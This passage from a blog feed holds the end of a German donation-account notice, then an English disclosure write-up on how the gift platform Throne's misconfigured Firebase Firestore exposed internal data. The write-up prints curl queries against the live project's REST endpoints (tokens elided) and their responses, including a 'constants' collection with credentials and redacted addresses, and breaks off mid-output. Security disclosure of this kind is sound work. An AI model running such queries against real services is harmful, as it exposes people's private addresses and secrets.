&lt;h2 id=&#34;neue-iban&#34;&gt;Neue IBAN&lt;/h2&gt;
&lt;div class=&#34;shortcode-alarmtextbox&#34;&gt;
	Déjà-vu: Dieser Blogpost war 2023 schonmal aktuell, wir mussten die IBAN 2025 aber schon wieder tauschen 😔.
&lt;/div&gt;
&lt;p&gt;Wenn ihr uns Geld zukommen lassen möchtet, ist uns eine Überweisung am liebsten.
Einige tun das und haben Daueraufträge eingerichtet - nochmals vielen Dank!&lt;/p&gt;
&lt;p&gt;Nachdem unsere bisherige Bank übernommen wurde, &lt;strong&gt;mussten wir leider unsere IBAN wechseln&lt;/strong&gt;, sodass ihr eure Daueraufträge anpassen müsst.
Die neue Kontoverbindung lautet:&lt;/p&gt;
&lt;p&gt;IBAN: &lt;del&gt;&lt;code&gt;DE07 1101 0101 5760 4493 51&lt;/code&gt;&lt;/del&gt; &lt;code&gt;DE44 1001 8000 0835 1929 25&lt;/code&gt;&lt;br&gt;
BIC: &lt;del&gt;&lt;code&gt;SOBKDEBBXXX&lt;/code&gt;&lt;/del&gt; &lt;code&gt;FNOMDEB2&lt;/code&gt;&lt;br&gt;
Kontoinhaber*in: &lt;code&gt;radforschung GbR&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-warningtextbox&#34;&gt;
	⚠️ Bitte ändert bestehende Daueraufträge, ab dem 31.10.2025 gehen Überweisungen automatisch zurück.
&lt;/div&gt;
&lt;h2 id=&#34;jetzt-neu-patreon--steady&#34;&gt;Jetzt neu: Patreon &amp;amp; Steady&lt;/h2&gt;
&lt;p&gt;Außerdem haben wir Patreon und Steady eingerichtet.
Damit gibt es jetzt neben einer Überweisung, &lt;a href=&#34;https://github.com/sponsors/zerforschung&#34;&gt;GitHub Sponsors&lt;/a&gt; und &lt;a href=&#34;http://paypal.me/radforschung&#34;&gt;PayPal.me&lt;/a&gt; noch weitere Weg, uns Geld zukommen zu lassen: &lt;a href=&#34;https://www.patreon.com/zerforschung&#34;&gt;Patreon&lt;/a&gt; &amp;amp; &lt;a href=&#34;https://steadyhq.com/zerforschung&#34;&gt;Steady&lt;/a&gt;.
Falls ihr bei einem der beiden eh bereits einen Account habt und uns darüber unterstützen wollt, könnt ihr das nun auch dort.&lt;/p&gt;
&lt;p&gt;Aber keine Sorge, es wird keine patreon- bzw. steady-exklusiven Inhalte geben, wir veröffentlichen weiterhin alles frei lesbar auf diesem Blog und &lt;a href=&#34;https://chaos.social/@zerforschung&#34;&gt;Mastodon&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Hinweis: Per Überweisung kommt tatsächlich am meisten bei uns an. Bei den anderen Plattformen gibt es &lt;a href=&#34;https://docs.github.com/en/sponsors/getting-started-with-github-sponsors/about-github-sponsors&#34;&gt;eine&lt;/a&gt; &lt;a href=&#34;https://www.paypal.com/de/webapps/mpp/merchant-fees#ReceivingDonations&#34;&gt;große&lt;/a&gt; &lt;a href=&#34;https://www.patreon.com/de-DE/pricing-page&#34;&gt;Gebührenspanne&lt;/a&gt;, gerade bei Beträgen unter 5 Euro gehen teilweise mehr als 35% ab.
&lt;/div&gt;
&lt;h2 id=&#34;weiterhin-nicht-krypto-währungen&#34;&gt;Weiterhin nicht: Krypto-&amp;ldquo;Währungen&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;Wie schon von Anfang an gilt:
Wir nehmen keine Unterstützung in Form von Krypto-&amp;ldquo;Währungen&amp;rdquo; an und diskutieren auch nicht darüber.&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;🥺👉👈&lt;/h2&gt;
&lt;p&gt;Stets die aktuellen Kontodaten sowie alle Wege, uns zu unterstützen, findet ihr &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;auf unserer Unterstützen-Seite&lt;/a&gt;.
Dort steht auch eine grobe Beschreibung, was wir damit machen. Und nochmals: Vielen Dank!&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Presents versus privacy</title>
      <link>https://zerforschung.org/posts/throne-en/</link>
      <pubDate>Fri, 07 Apr 2023 16:01:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/throne-en/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/throne/throne-header.jpg&#34; alt=&#34;Burning gift box between building blocks&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/throne-de/&#34;&gt;Dieser Artikel ist auch auf deutsch erschienen&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;On the Internet no one knows you&amp;rsquo;re a dog creating content – but everyone knows you love support from your fans (whether in the form of technical devices, energy drinks or feed).
However, it&amp;rsquo;s not a good idea to leave your home address online where overzealous fans or malicious stalkers might find it.
For this reason, services have emerged that seek to enable creators to receive physical gifts without compromising their privacy.&lt;/p&gt;
&lt;p&gt;But how good do they actually protect your address? Let&amp;rsquo;s have a look…&lt;/p&gt;
&lt;p&gt;Cooking, sewing, ASMR or a combination of all three will easily get you millions of views on platforms such as TikTok, Twitch, YouTube or FurAffinity.
For some creators, this is a hobby, while others make a living live streaming or producing videos.
And very often: With support from their fans.&lt;/p&gt;
&lt;h2 id=&#34;the-world-is-a-cruel-place&#34;&gt;The world is a cruel place&lt;/h2&gt;
&lt;p&gt;In addition to direct monetary donations creators often offer their fans a more personal way to support them: wish lists for physical (or digital) goods.
One convenient way to do that is Amazon&amp;rsquo;s Wishlist feature.&lt;/p&gt;
&lt;p&gt;But we all know that &lt;del&gt;the internet&lt;/del&gt; the world is a dangerous place. Private data is posted on the net (&lt;a href=&#34;https://en.wikipedia.org/wiki/Doxing&#34;&gt;&lt;em&gt;doxxing&lt;/em&gt;&lt;/a&gt;) and police &amp;ldquo;special forces&amp;rdquo; are directed to the homes of public figures by faking emergency calls (&lt;a href=&#34;https://en.wikipedia.org/wiki/Swatting&#34;&gt;&lt;em&gt;swatting&lt;/em&gt;&lt;/a&gt;). This goes beyond dangerous pranks - sometimes organized groups work to make life hell for their victims.&lt;/p&gt;
&lt;h2 id=&#34;problems-of-preserving-privacy&#34;&gt;Problems of preserving privacy&lt;/h2&gt;
&lt;p&gt;More than enough reason for many creators to keep their address or even their entire identity a secret.&lt;/p&gt;
&lt;p&gt;But the Amazon wishlist is not suitable for this because it displays the recipient&amp;rsquo;s name and city - not exactly ideal for anonymity.
And there are even reports that it is possible to get Amazon to leak the complete personal data including the address - for example by manipulating employees (&lt;em&gt;social engineering&lt;/em&gt;) or exploiting technical loopholes&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;And where there is a problem, there are startups trying to monetize it. (&lt;em&gt;Platform marketing! Creator economy! Capitalism! Yay!&lt;/em&gt;)&lt;/p&gt;
&lt;h2 id=&#34;fear--startup--profit&#34;&gt;Fear + StartUp = Profit&lt;/h2&gt;
&lt;p&gt;One of those startups is &lt;a href=&#34;https://throne.com&#34;&gt;Throne&lt;/a&gt;. They launched in 2021 and &lt;a href=&#34;https://jointhrone.zendesk.com/hc/en-us/articles/4406388475412-Do-you-keep-my-delivery-address-private-&#34;&gt;promise&lt;/a&gt; to get creators their gifts while keeping their name and address secret:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Throne was created with privacy as our first principle.&lt;/p&gt;
&lt;p&gt;We value our creators privacy and keep addresses entirely private.
No fan will ever see your address, delivery name or any other identifiable information.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The Idea is simple:
Creators compile a wish list of products from different stores. Fans then pick products and pay the corresponding amount of money to Throne.
In turn, Throne uses that money to order the product from shops like Amazon - straight to the creator&amp;rsquo;s home.&lt;/p&gt;
&lt;p&gt;For a slice of the cake&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;, of course.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/throne/how-throne-works.en.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/throne/how-throne-works.en.png&#34;
         alt=&#34;Flowchart, showing how Creator, Fan, Throne and the Online-Shop work together&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Graphic Design is our passion&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;This means that if you deem Amazon Wishlists too risky, you give your address to Throne so that Throne can enter it into Amazon&amp;rsquo;s order form.
The important difference to Amazon Wishlists is that Throne acts as a &amp;ldquo;security layer&amp;rdquo; between the fan and the online shop.&lt;/p&gt;
&lt;p&gt;This means the platform is sitting on a particularly sensitive treasure trove of data - the identity and private addresses of all the creators. So they better take care of it 🐉.&lt;/p&gt;
&lt;p&gt;But you wouldn&amp;rsquo;t be reading this if they hadn&amp;rsquo;t screwed something up.&lt;/p&gt;
&lt;h2 id=&#34;a-throne-made-of-bricks&#34;&gt;A throne made of bricks&lt;/h2&gt;
&lt;p&gt;But before we talk about the exact problem, we first need to have a look at how Throne is built.&lt;/p&gt;
&lt;p&gt;That was also the first question we asked ourselves once we took a look at Throne.
So we opened the developer tools of our browser and had a little look around the source code of the Throne website.&lt;/p&gt;
&lt;p&gt;One thing struck us right away:
Throne uses &lt;a href=&#34;https://firebase.google.com&#34;&gt;Firebase&lt;/a&gt;. You can think of Firebase as a set of software building blocks made by Google. Thanks to these building blocks, startups no longer need to worry about all the individual parts of an app.
Many startups don&amp;rsquo;t necessarily want to run such complicated things as file storage, authentication services or databases themselves.
They can outsource all that to Firebase &amp;ndash; and focus on the core of their startup software development, or whatever else it is they actually do.&lt;/p&gt;
&lt;p&gt;One of its components is the &lt;em&gt;Firestore&lt;/em&gt;.
It&amp;rsquo;s a database, the long-term memory of the application.
It stores data in &lt;em&gt;collections&lt;/em&gt; – roughly comparable to tables of data.&lt;/p&gt;
&lt;p&gt;This database can then be queried:
&lt;em&gt;What items does a certain creator have on their wish list? And how much do these cat ears actually cost?
And where can we get them? We also want nice and fluffy cat ears!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;But not all data should be read (or written) by everyone.
To ensure this, developers have to configure proper security rules.&lt;/p&gt;
&lt;p&gt;And Throne has done this successfully for much of the data.
For example, when asking the Firestore for all addresses, it denies the request:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// curl -H &amp;#34;Authorization: Bearer ey[...]&amp;#34; https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;error&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;403&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Missing or insufficient permissions.&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;PERMISSION_DENIED&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But if we only ask for our own address, the query is successful:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// curl -H &amp;#34;Authorization: Bearer ey[...]&amp;#34; https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails/[ZERFORSCHUNG USER-ID]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;projects/onlywish-9d17b/databases/(default)/documents/deliveryDetails/[ZERFORSCHUNG USER-ID]&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fields&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;city&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Musterhausen&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;postcode&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;12345&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address1&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2342 Hack Blvd.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address2&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;state&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Berlin&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;country&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lastName&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;forschung&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;delivery_instructions&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;deliver to the pink unicorn&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;hasIssue&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;booleanValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;stringValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;zer&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;reaching-into-the-cookie-jar&#34;&gt;Reaching into the cookie jar&lt;/h2&gt;
&lt;p&gt;Unfortunately &lt;a href=&#34;https://zerforschung.org/posts/testcenter-the-third/&#34;&gt;we already had a case (&lt;em&gt;Article in German&lt;/em&gt;)&lt;/a&gt; where these permissions were not set correctly, and we could also ask for internal access data.
And it was similar here:&lt;/p&gt;
&lt;p&gt;A single failed request didn&amp;rsquo;t stop us from experimenting further to figure out what data we could query.
We (mostly&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;) just received data that we should be able to see.&lt;/p&gt;
&lt;p&gt;But after further digging, we found a collection called &lt;code&gt;constants&lt;/code&gt; that we had access to.
It contained all kinds of things:
For example the conversion rates of various currencies&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt; or a list of merchants offered by Throne. But also some credentials:&lt;/p&gt;
&lt;details&gt;
  &lt;summary&gt;Excerpt of &lt;code&gt;constants&lt;/code&gt; collection (Click to expand)&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// curl -H &amp;#34;Authorization: Bearer ey[...]&amp;#34; https://firestore.googleapis.com/v1/projects/onlywish-9d17b/databases/(default)/documents/constants
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;documents&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;projects/onlywish-9d17b/databases/(default)/documents/constants/exchangeRates&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;fields&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CHF&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;doubleValue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1.1060111707128242&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;path&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;constants/bannedDeliveryDetails&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;addresses&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;searchableName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;delivery_instructions&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;postcode&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;city&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;googleMapsFormattedAddress&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;updatedAt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1657348&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;firstName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;address2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
